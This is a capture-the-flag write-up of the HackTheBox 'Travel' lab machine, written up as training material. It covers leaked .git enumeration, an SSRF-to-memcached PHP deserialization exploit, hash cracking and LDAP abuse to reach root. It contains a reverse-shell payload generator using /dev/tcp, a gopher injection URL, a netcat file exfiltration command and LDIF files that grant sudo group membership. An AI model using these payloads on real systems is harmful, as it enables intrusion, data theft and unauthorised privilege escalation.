HackTheBox - Travel
Introduction
Travel is an amazing box with a very challenging foothold. It provides an opportunity to practice web based enumeration, code review, and exploitation of said code to manipulate memcached and gain a foothold. Privilege escalation focuses on basic enumeration and abusing LDAP.
Foothold
The three ports shown by Nmap are sufficient to get started.
# Nmap 7.80 scan initiated Thu Jun 11 16:05:56 2020 as: nmap -T4 -p1-10000 -oA nmap-10000 10.10.10.189
Nmap scan report for 10.10.10.189
Host is up (0.14s latency).
Not shown: 9997 closed ports
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
443/tcp open https
# Nmap done at Thu Jun 11 16:07:13 2020 -- 1 IP address (1 host up) scanned in 76.75 seconds
At a first glance there isn’t that much interesting information. http://travel.htb
does not seem to have anything that stands out. However, when looking at the certificate associated with https://travel.htb
, we find additional subdomains to take a look at.
--snip--
Subject Alternative Names
DNS: www.travel.htb
DNS: blog.travel.htb
DNS: blog-dev.travel.htb
Critical: No
--snip--
Of these new subdomains, blog.travel.htb is accessible and seems to have more potential. There are more dynamic pages and there is mention of a RSS features, fresh from their blog-dev team! Manually going through the websites didn’t result in anything of interest. Let’s hope gobuster
1 will find something. Various gobuster
runs were made on all sites with one great find.
ben@kal:~/hackthebox/travel$ gobuster dir -u http://blog-dev.travel.htb -w /usr/share/wordlists/dirb/common.txt -o gobuster-common-http-blog-dev-travel
/.git/HEAD (Status: 200)
This is a great find! The .git
2 directory can hold a tremendous amount of information that can be useful to gain unauthorized access. There are various scripts available to download all data from the .git
folder, in this case I used the dumper from GitTools.
ben@kal:~/hackthebox/travel/git$ ~/hackthebox/tools/GitTools-master/Dumper/gitdumper.sh http://blog-dev.travel.htb/.git/ .
###########
# GitDumper is part of https://github.com/internetwache/GitTools
#
# Developed and maintained by @gehaxelt from @internetwache
#
# Use at your own risk. Usage might be illegal in certain circumstances.
# Only for educational purposes!
###########
[*] Destination folder does not exist
[+] Creating ./.git/
[+] Downloaded: HEAD
[-] Downloaded: objects/info/packs
[+] Downloaded: description
[+] Downloaded: config
[+] Downloaded: COMMIT_EDITMSG
[+] Downloaded: index
[-] Downloaded: packed-refs
[+] Downloaded: refs/heads/master
[-] Downloaded: refs/remotes/origin/HEAD
[-] Downloaded: refs/stash
[+] Downloaded: logs/HEAD
[+] Downloaded: logs/refs/heads/master
[-] Downloaded: logs/refs/remotes/origin/HEAD
[-] Downloaded: info/refs
[+] Downloaded: info/exclude
[-] Downloaded: /refs/wip/index/refs/heads/master
[-] Downloaded: /refs/wip/wtree/refs/heads/master
[+] Downloaded: objects/03/13850ae948d71767aff2cc8cc0f87a0feeef63
[-] Downloaded: objects/00/00000000000000000000000000000000000000
[+] Downloaded: objects/b0/2b083f68102c4d62c49ed3c99ccbb31632ae9f
[+] Downloaded: objects/ed/116c7c7c51645f1e8a403bcec44873f74208e9
[+] Downloaded: objects/2b/1869f5a2d50f0ede787af91b3ff376efb7b039
[+] Downloaded: objects/30/b6f36ec80e8bc96451e47c49597fdd64cee2da
With these files, we can use git and look through the repository to hopefully find anything of interest - code, credentials, anything.
ben@kal:~/hackthebox/travel/git$ git status
On branch master
Changes not staged for commit:
(use "git add/rm <file>..." to update what will be committed)
(use "git restore <file>..." to discard changes in working directory)
deleted: README.md
deleted: rss_template.php
deleted: template.php
no changes added to commit (use "git add" and/or "git commit -a")
ben@kal:~/hackthebox/travel/git$ git restore *
ben@kal:~/hackthebox/travel/git$ ls -al
total 24
drwxr-xr-x 3 ben ben 4096 Jun 11 17:10 .
drwxr-xr-x 4 ben ben 4096 Jun 11 17:06 ..
drwxr-xr-x 6 ben ben 4096 Jun 11 17:10 .git
-rwxr-xr-x 1 ben ben 540 Jun 11 17:10 README.md
-rwxr-xr-x 1 ben ben 2970 Jun 11 17:10 rss_template.php
-rwxr-xr-x 1 ben ben 1387 Jun 11 17:10 template.php
Let’s go through the files and list some of the things that stand out and could be of help to gain a foothold.
The README.md
file has:
- the file location on the website; and,
- a reference to a logs directory.
The rss_template.php
file shows a couple of interesting things:
- how feeds are loaded;
- a user can specify a
custom_feed_url
to be loaded; memcache
is used locally;- there is a reference to a
debug.php
file; and, template.php
is called to retrieve the contents.
The template.php
file has:
- a function to mitigate security issues and sanitize the provided URL;
- performs a curl request to the provided and sanitized url; and,
- has a class
TemplateHelper
containing a function that writes a log file.
When we go to /wp-content/themes/twentytwenty/
and check out the files, we’ll see that all files exist but they are just white pages. The debug.php
file exists and shows two lines, but nothing else. Browsing the website itself, and visiting /awesome-rss/
will show us what we are expecting - the contents of /newsfeed/customfeed.xml
. Therefore, we can probably assume that the code behind /awesome-rss/
is rss_template.php
.
We can test this by visiting /awesome-rss/
with debug
and custom_feed_url
set. If this works, we can also try and point it to our own system to see if it connects.
http://blog.travel.htb/awesome-rss/?debug=1&custom_feed_url=http://www.travel.htb/newsfeed/customfeed.xml
[customfeed.xml contents]
view-source:http://blog.travel.htb/wp-content/themes/twentytwenty/debug.php
~~~~~~~~~~~~~~~~~~~~~ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
| xct_4e5612ba07(...) | a:4:{s:5:"child";a:1:{s:0:"";a:1:{(...) |
~~~~~~~~~~~~~~~~~~~~~ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Awesome, what about a file we host on our system?
http://blog.travel.htb/awesome-rss/?debug=1&custom_feed_url=http://10.10.15.201:8000/test.xml
[test.xml contents]
view-source:http://blog.travel.htb/wp-content/themes/twentytwenty/debug.php
~~~~~~~~~~~~~~~~~~~~~ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
| xct_a396ad9c51(...) | a:4:{s:5:"child";a:1:{s:0:"";a:1:{(...) |
~~~~~~~~~~~~~~~~~~~~~ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
At this point, quite a bit of time was spent trying all kinds of things to see if anything would give feedback for pointers in the right direction. It wasn’t until pointing the custom URL to the memcache service that I googled and found the information I needed with the keywords SSRF
and memcache
345.
SSRF and Memcache
Reading through the online resources helped put things together and perform the steps required to gain a foothold.
First create a unique locally hosted xml file to create a unique memcache key not to interfere with other people. While debug.php
shows a partial memcache key for the specified URL, the full key is required to make the attack work. Some googling67 helped determine the exact method to generate the key. To make it easier we can create a small script to automate it.
#/bin/bash
if [ -s $1 ]; then
echo "key.sh [URL]"
exit
fi
stepOne=$(echo -n "$1" | md5sum | cut -d' ' -f1)
result=$(echo -n "$stepOne:spc" | md5sum | cut -d' ' -f1)
echo "xct_$result"
Secondly, a serialized object of TemplateHelper
is required to write a (reverse) shell to the logs directory - see script below. As a note, only until I read the forums did I change the variables and functions to public instead of private. I didn’t realize that private members are handled differently when serialized8, and this difference breaks the exploit.
<?php
class TemplateHelper
{
public $file;
public $data;
public function __construct(string $file, string $data)
{
$this->init($file, $data);
}
public function __wakeup()
{
$this->init($this->file, $this->data);
}
public function init(string $file, string $data)
{
$this->file = $file;
$this->data = $data;
file_put_contents(__DIR__.'/logs/'.$this->file, $this->data);
}
}
if ($argv[1] === "") {
echo "What is your IP address?";
exit();
}
/*$a = new TemplateHelper("bshell.php", "<?php echo system(\$_GET['c']); ?>"); */
$a = new TemplateHelper("bshell.php", "<?php exec(\"/bin/bash -c 'bash -i >& /dev/tcp/".$argv[1]."/443 0>&1'\"); ?>");
var_dump(serialize($a));
?>
The serialized data can be fed into Gophereus
4. The output can then be modified to adjust the URL to 127.1
and the key to the one associated with our custom_feed_url
.
These steps can be used to gain a foothold into the system for initial testing, and to create a reverse shell (see the two different payloads in the php script above for basic web shell and reverse shell).
http://blog.travel.htb/awesome-rss/?debug=1&custom_feed_url=gopher://127.1:11211/_%0d%0aset%20xct_eb91f9acc082b7a1f4594c3840e6557a%204%200%20107%0d%0aO:14:%22TemplateHelper%22:2:%7Bs:4:%22file%22%3Bs:10:%22bshell.php%22%3Bs:4:%22data%22%3Bs:33:%22%3C%3Fphp%20echo%20system%28%24_GET%5B%27c%27%5D%29%3B%20%3F%3E%22%3B%7D%0d%0a
view-source:http://blog.travel.htb/wp-content/themes/twentytwenty/logs/bshell.php?c=whoami
www-data
User
With access to the system we can start looking around for common mistakes such as: misconfigurations, forgotten valuable data, outdated software, and more. With some searching we’ll come across an SQL backup file.
ben@kal:~/hackthebox/travel/foothold$ sudo nc -lp 4443 > backup-13-04-2020.sql
[sudo] password for ben:
www-data@blog:/opt/wordpress$ nc -w 3 10.10.15.46 4443 < backup-13-04-2020.sql
<s$ nc -w 3 10.10.15.46 4443 < backup-13-04-2020.sql
--snip--
INSERT INTO `wp_users` VALUES (1,'admin','$P$BIRXVj/ZG0YRiBH8gnRy0chBx67WuK/','admin','[email protected]','http://localhost','2020-04-13 13:19:01','',0,'admin'),
(2,'lynik-admin','$P$B/wzJzd3pj/n7oTe2GGpi5HcIl4ppc.','lynik-admin','[email protected]','','2020-04-13 13:36:18','',0,'Lynik Schmidt');
--snip--
admin:$P$BIRXVj/ZG0YRiBH8gnRy0chBx67WuK/
lynik-admin:$P$B/wzJzd3pj/n7oTe2GGpi5HcIl4ppc.
Hashcat was able to crack one of the passwords which provided user access.
$P$B/wzJzd3pj/n7oTe2GGpi5HcIl4ppc.:1stepcloser
[s]tatus [p]ause [b]ypass [c]heckpoint [q]uit => s
Session..........: hashcat
Status...........: Running
Hash.Type........: phpass, WordPress (MD5), phpBB3 (MD5), Joomla (MD5)
Hash.Target......: hashes.hash
Time.Started.....: Mon Jul 13 10:43:20 2020 (22 mins, 30 secs)
Time.Estimated...: Mon Jul 13 14:22:40 2020 (3 hours, 16 mins)
Guess.Base.......: File (/usr/share/wordlists/rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........: 1146 H/s (9.45ms) @ Accel:512 Loops:128 Thr:1 Vec:8
Recovered........: 1/2 (50.00%) Digests, 1/2 (50.00%) Salts
Progress.........: 1629696/28688770 (5.68%)
Rejected.........: 0/1629696 (0.00%)
Restore.Point....: 814592/14344385 (5.68%)
Restore.Sub.#1...: Salt:1 Amplifier:0-1 Iteration:4224-4352
Candidates.#1....: rapture3 -> ramones5
ben@kal:~/hackthebox/travel/foothold$ ssh [email protected]
The authenticity of host 'travel.htb (10.10.10.189)' can't be established.
ECDSA key fingerprint is SHA256:KSjh2mhuESUZQcaB1ewLHie9gTUCmvOlypvBpcyAF/w.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 'travel.htb,10.10.10.189' (ECDSA) to the list of known hosts.
[email protected]'s password:
Welcome to Ubuntu 20.04 LTS (GNU/Linux 5.4.0-26-generic x86_64)
--snip--
lynik-admin@travel:~$ cat user.txt
7c123cde542b7a68505c0ba3240761bc
Root
For root it starts same way by looking for anything of value that could be beneficial to escalate privileges. One file that stood out in the home directory of the user was .ldaprc
and some of the contents of .viminfo
.
lynik-admin@travel:~$ ls -al
total 36
drwx------ 3 lynik-admin lynik-admin 4096 Apr 24 06:52 .
drwxr-xr-x 4 root root 4096 Apr 23 17:31 ..
lrwxrwxrwx 1 lynik-admin lynik-admin 9 Apr 23 17:31 .bash_history -> /dev/null
-rw-r--r-- 1 lynik-admin lynik-admin 220 Feb 25 12:03 .bash_logout
-rw-r--r-- 1 lynik-admin lynik-admin 3771 Feb 25 12:03 .bashrc
drwx------ 2 lynik-admin lynik-admin 4096 Apr 23 19:34 .cache
-rw-r--r-- 1 lynik-admin lynik-admin 82 Apr 23 19:35 .ldaprc
-rw-r--r-- 1 lynik-admin lynik-admin 807 Feb 25 12:03 .profile
-r--r--r-- 1 root root 33 Jul 12 21:12 user.txt
-rw------- 1 lynik-admin lynik-admin 861 Apr 23 19:35 .viminfo
lynik-admin@travel:~$ cat .ldaprc
HOST ldap.travel.htb
BASE dc=travel,dc=htb
BINDDN cn=lynik-admin,dc=travel,dc=htb
lynik-admin@travel:~$ cat .viminfo
# This viminfo file was generated by Vim 8.1.
# You may edit it if you're careful!
--snip--
# Registers:
""1 LINE 0
BINDPW Theroadlesstraveled
|3,1,1,1,1,0,1587670528,"BINDPW Theroadlesstraveled"
# File marks:
'0 3 0 ~/.ldaprc
|4,48,3,0,1587670530,"~/.ldaprc"
# Jumplist (newest first):
-' 3 0 ~/.ldaprc
|4,39,3,0,1587670530,"~/.ldaprc"
-' 1 0 ~/.ldaprc
|4,39,1,0,1587670527,"~/.ldaprc"
--snip--
With this information it is possible to query LDAP and figure out if that provides a way to gain privileged access.
lynik-admin@travel:~$ ldapsearch -D "cn=lynik-admin,dc=travel,dc=htb" -w "Theroadlesstraveled" -h ldap.travel.htb -x -s base -b 'dc=travel,dc=htb'
# extended LDIF
#
# LDAPv3
# base <dc=travel,dc=htb> with scope baseObject
# filter: (objectclass=*)
# requesting: ALL
#
# travel.htb
dn: dc=travel,dc=htb
objectClass: top
objectClass: dcObject
objectClass: organization
o: Travel.HTB
dc: travel
# search result
search: 2
result: 0 Success
# numResponses: 2
# numEntries: 1
With some fiddling with the query we’ll be able to find a list of users and some of their account settings.
lynik-admin@travel:~$ ldapsearch -D "cn=lynik-admin,dc=travel,dc=htb" -w "Theroadlesstraveled" -b "dc=travel,dc=htb" -s sub -x "(objectClass=*)"
# extended LDIF
#
# LDAPv3
# base <dc=travel,dc=htb> with scope subtree
# filter: (objectClass=*)
# requesting: ALL
#
--snip--
# lynik-admin, travel.htb
dn: cn=lynik-admin,dc=travel,dc=htb
description: LDAP administrator
objectClass: simpleSecurityObject
objectClass: organizationalRole
cn: lynik-admin
userPassword:: e1NTSEF9MEpaelF3blZJNEZrcXRUa3pRWUxVY3ZkN1NwRjFRYkRjVFJta3c9PQ=
=
--snip--
# johnny, users, linux, servers, travel.htb
dn: uid=johnny,ou=users,ou=linux,ou=servers,dc=travel,dc=htb
uid: johnny
cn: Johnny Miller
sn: Miller
givenName: Johnny
loginShell: /bin/bash
uidNumber: 5004
gidNumber: 5000
homeDirectory: /home/johnny
objectClass: top
objectClass: person
objectClass: organizationalPerson
objectClass: inetOrgPerson
objectClass: posixAccount
objectClass: shadowAccount
--snip--
# search result
search: 2
result: 0 Success
# numResponses: 22
# numEntries: 21
At this point quite a bit of time was spent reading up on LDAP and how to abuse it. A number of resources talked about using LDIF files to modify user settings, which seemed like a great thing to try 910. Using a custom LDIF file it was possible sign in as one of the listed users.
cat johnny.ssh.ldif
dn: uid=johnny,ou=users,ou=linux,ou=servers,dc=travel,dc=htb
changeType: modify
add: objectClass
objectClass: ldapPublicKey
-
add: sshPublicKey
sshPublicKey: [pub-key]
lynik-admin@travel:~$ wget http://10.10.15.68:8000/johnny-ssh.ldif
--snip--
lynik-admin@travel:~$ ldapmodify -h ldap.travel.htb -D "cn=lynik-admin,dc=travel,dc=htb" -w "Theroadlesstraveled" -f johnny-ssh.ldif
From here on I kept playing around with different user settings until I finally figured out a combination of steps to gain root access. The steps are as follows:
- Set the SSH public key;
- Set the password;
- Set the gid as 27 (sudo);
- Look at
sudo -l
and use basic privilege escalation to gain root access.
cat johnny.ldif
dn: uid=johnny,ou=users,ou=linux,ou=servers,dc=travel,dc=htb
changeType: modify
add: objectClass
objectClass: ldapPublicKey
-
add: sshPublicKey
sshPublicKey: ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDOfrtZH37/gLCa9iUC7LKxgb/zkAs+wjHtH1aRibDfgI1kyFNqFKWlJHqra/zMiAhdQsTGG8jHMwU3jjMP2NRLHT2SmBNiWJpEug4KInBRyUyUhsIX+9VuiIq/Lr4aoJTR3+i8Jemuwi8WX1xzN2iHlA+Y9hsrpqeqV/KoRIV+lO8O0I4uLEoDJhD5+8FwX0khpYdBToO7JQtn/CnHCvRS1Y1W4u+hujIuxD/lIzRzrsu+VJAhQwsFd46i2XfsRjeFpk1Ro4pNuacguHPhtePAwQ55eRS2JP6pBYBeVQN+JlCAoSr6AYWBsilVhBTbrFJ5D8J8VPvhnc0keu/mQr6SQJUK2KkxrO/KWSXurnI11jKGlpWcaeQiqccItKX8vXiwQ//ExhtuSfpQ186B1jv8MH1reWkeaxM9BmxZkOlE+QEwDyitrSiAF6NQ/4jH8waYUdLd+HqukqxV/WgAE3Z7RHmFgDPo7A7qQG/lifPSyviT0z7StssSFCKbUyys0y8= ben@kal
-
replace: userPassword
userPassword: bpassword
-
replace: gidNumber
gidNumber: 27
ben@kal:~/hackthebox/travel/privesc$ ssh -i id_rsa [email protected]
Welcome to Ubuntu 20.04 LTS (GNU/Linux 5.4.0-26-generic x86_64)
--snip--
-bash: /home@TRAVEL/johnny/.bash_profile: Permission denied
johnny@travel:/$ id
uid=5004(johnny) gid=27(sudo) groups=27(sudo),5000(domainusers)
johnny@travel:/$ sudo -l
[sudo] password for johnny:
Matching Defaults entries for johnny on travel:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User johnny may run the following commands on travel:
(ALL : ALL) ALL
johnny@travel:/$ sudo sh -i
# id
uid=0(root) gid=0(root) groups=0(root)
# cat /root/root.txt
bc77fdb3e8189915f5bc7ca7065e55f0
Lessons Learned / Additional Notes
- I wasn’t aware of the different local IP addresses, such as 127.1;
- Always be mindful of newline characters, null bytes, variable/function types, etc. A small error can have a big impact.
- The process of creating write-ups is kind of like a retrospective/postmortem of sorts. It forces you to go over the used methodology, where and why you got stuck, what mistakes you made, and how you can use these lessons to make the next time go smoother.